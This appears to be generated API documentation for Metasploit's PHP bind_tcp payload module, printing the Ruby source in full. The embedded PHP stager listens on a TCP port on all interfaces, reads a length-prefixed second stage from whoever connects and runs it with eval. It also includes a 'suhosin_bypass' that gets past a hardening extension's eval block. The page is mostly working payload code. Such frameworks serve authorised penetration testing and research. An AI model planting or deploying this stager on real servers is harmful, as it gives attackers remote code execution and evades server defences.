Module: Msf::Payload::Php::BindTcp

Includes:
Msf::Payload::Php, SendUUID
Defined in:
lib/msf/core/payload/php/bind_tcp.rb

Overview

Complex bind_tcp payload generation for PHP

Instance Method Summary collapse

Methods included from SendUUID

#php_send_uuid

Methods included from Msf::Payload::Php

#php_preamble, #php_system_block

Instance Method Details

#generateObject

Generate the first stage


23
24
25
26
27
28
29
30
31
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 23

def generate
  conf = {
    port: datastore['LPORT']
  }

  php = super + generate_bind_tcp(conf)
  php.gsub!(/#.*$/, '')
  Rex::Text.compress(php)
end

#generate_bind_tcp(opts = {}) ⇒ Object


49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 49

def generate_bind_tcp(opts={})
  ipf = 'AF_INET'
  ip = '0.0.0.0'
  if use_ipv6
    ipf << "6"
    ip = '[::]'
  end

  php = %Q^/*<?php /**/
error_reporting(0);
$ip = '#{ip}';
$port = #{opts[:port]};

if (is_callable('stream_socket_server')) {
	$srvsock = stream_socket_server("tcp://{$ip}:{$port}");
	if (!$srvsock) { die(); }
	$s = stream_socket_accept($srvsock, -1);
	fclose($srvsock);
	$s_type = 'stream';
} elseif (is_callable('socket_create_listen')) {
	$srvsock = socket_create_listen(#{ipf}, SOCK_STREAM, SOL_TCP);
	if (!$res) { die(); }
	$s = socket_accept($srvsock);
	socket_close($srvsock);
	$s_type = 'socket';
} elseif (is_callable('socket_create')) {
	$srvsock = socket_create(#{ipf}, SOCK_STREAM, SOL_TCP);
	$res = socket_bind($srvsock, $ip, $port);
	if (!$res) { die(); }
	$s = socket_accept($srvsock);
	socket_close($srvsock);
	$s_type = 'socket';
} else {
	die();
}
if (!$s) { die(); }
^

  php << php_send_uuid if include_send_uuid

  php << %Q^switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
	# We failed on the main socket.  There's no way to continue, so
	# bail
	die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
	switch ($s_type) {
	case 'stream': $b .= fread($s, $len-strlen($b)); break;
	case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
	}
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();^
end

#handle_intermediate_stage(conn, payload) ⇒ Object


124
125
126
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 124

def handle_intermediate_stage(conn, payload)
  conn.put([payload.length].pack("N"))
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


37
38
39
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 37

def include_send_uuid
  false
end

#transport_config(opts = {}) ⇒ Object


45
46
47
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 45

def transport_config(opts={})
  transport_config_bind_tcp(opts)
end

#use_ipv6Object


41
42
43
# File 'lib/msf/core/payload/php/bind_tcp.rb', line 41

def use_ipv6
  false
end